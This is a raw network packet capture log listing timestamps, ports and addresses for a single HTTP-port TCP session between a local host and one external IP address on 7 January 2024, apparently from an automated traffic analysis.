Jan 7, 2024 05:29:30.024703979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.024733067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.024771929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.024822950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.025315046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.025391102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.025434971 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.025451899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.025485992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.025489092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.025557041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.025593996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.025676012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.026448965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.026487112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.026495934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.026504040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.026545048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.026608944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.026695013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.026730061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.026803017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027189970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027239084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027241945 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.027307987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027364016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027368069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.027499914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027534962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.027592897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027693987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027736902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.027749062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027793884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.027879000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.027879000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.028692961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.028803110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.028844118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.028851032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.029006958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.029042006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.029767990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.029800892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.029884100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.029953957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030010939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030019999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.030109882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030246019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030298948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.030327082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030431986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.030453920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030536890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030581951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030586004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.030626059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030673027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.030709028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030817986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030847073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030858040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.030921936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.030960083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.030983925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031045914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031083107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.031140089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031213999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031254053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031265974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.031307936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031337023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031373024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.031871080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.031919003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.031968117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032190084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032233000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.032274008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032371044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032435894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.032464027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032569885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032610893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.032634974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032706022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032771111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.032807112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.033094883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.033185959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.033224106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.033248901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.033266068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.033277988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.033334970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.033389091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.033432961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.098984003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.099044085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.212302923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.212450027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.212492943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.212493896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.214297056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.214344978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.215058088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.215115070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.215173960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.215179920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.215235949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.215286016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.215325117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.215929031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.215990067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.215992928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216042995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216084003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216104984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216145039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216202974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216224909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216273069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216334105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216371059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216382980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216398954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216435909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216461897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216517925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216535091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216552019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216588974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216635942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216690063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216726065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216742992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216793060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216835022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.216856956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216892004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216948986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.216993093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.217036963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.217082024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.217093945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.217123985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.217169046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.217195988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.217952967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.218009949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.218027115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.218271971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.218355894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.218394995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.218781948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.218852997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.218879938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.218949080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.218983889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.219027996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.219722033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.219777107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.219793081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.219882011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.219928980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.219994068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220040083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220128059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220189095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.220392942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220439911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.220468044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220571041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220608950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.220613003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220674038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.220788002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221036911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.221059084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221155882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.221234083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221313000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221416950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221467972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.221518040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221558094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.221631050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221915007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221931934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.221959114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.222004890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.222060919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.222098112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.222739935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.222790956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.222801924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.222898960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.222955942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.222996950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.224052906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.224097967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.224678040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.224767923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.224843025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.224884987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.224946022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.224987984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.225028992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225085974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225142956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225184917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.225213051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225254059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.225269079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225394964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225430965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225475073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.225516081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225627899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225671053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.225702047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225771904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225812912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.225883961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225953102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.225964069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.226330042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226418018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226469040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.226505041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226546049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226552010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.226618052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226684093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226725101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.226757050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226794004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.226861000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.226934910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227022886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227118015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227144003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.227166891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.227201939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227242947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227338076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227426052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.227436066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227511883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227559090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.227586985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227648020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.227682114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227756977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227835894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227881908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.227904081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.227948904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.227997065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.292629004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.292711020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.406245947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.406276941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.406335115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.408495903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.408598900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.408701897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.408736944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.408824921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.408874035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.408982038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.409034014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.409077883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.409260035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.409339905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.409420967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.409729004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.409816027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.409924984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.410080910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.410181999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.410305023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.410306931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.410422087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.410597086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.410712957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.410841942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.410927057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.410932064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411053896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411154032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411207914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.411236048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411283016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.411338091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411438942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411505938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411555052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.411592007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411638975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.411701918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411813974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411878109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.411968946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412013054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.412048101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412143946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412363052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412426949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.412487030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412538052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.412590027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412653923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412736893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412812948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.412908077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.412954092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.413043022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.413100004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.413394928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.413430929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.413469076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.413542986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.413546085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.413830042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.413882971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.413944960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.413985968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.414036036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.414195061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.414288998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.414340973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.414350033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.414396048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.414454937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:30.414484978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:30.414833069 CET	80	49735	91.215.85.120	192.168.2.4
